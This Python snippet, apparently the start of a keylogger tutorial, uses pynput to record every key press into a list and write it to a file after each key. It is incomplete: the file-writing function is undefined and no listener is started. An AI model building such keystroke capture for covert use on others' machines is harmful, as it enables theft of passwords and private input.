1#Import required modules
2from pynput.keyboard import Key
3#Create an empty list to store pressed keys
4keys = []
5#Create a function that defines what to do on each key press
6def on_each_key_press(key):
7 #Append each pressed key to a list
8 keys.append(key)
9 #Write list to file after each key pressed
10 write_keys_to_file(keys)
11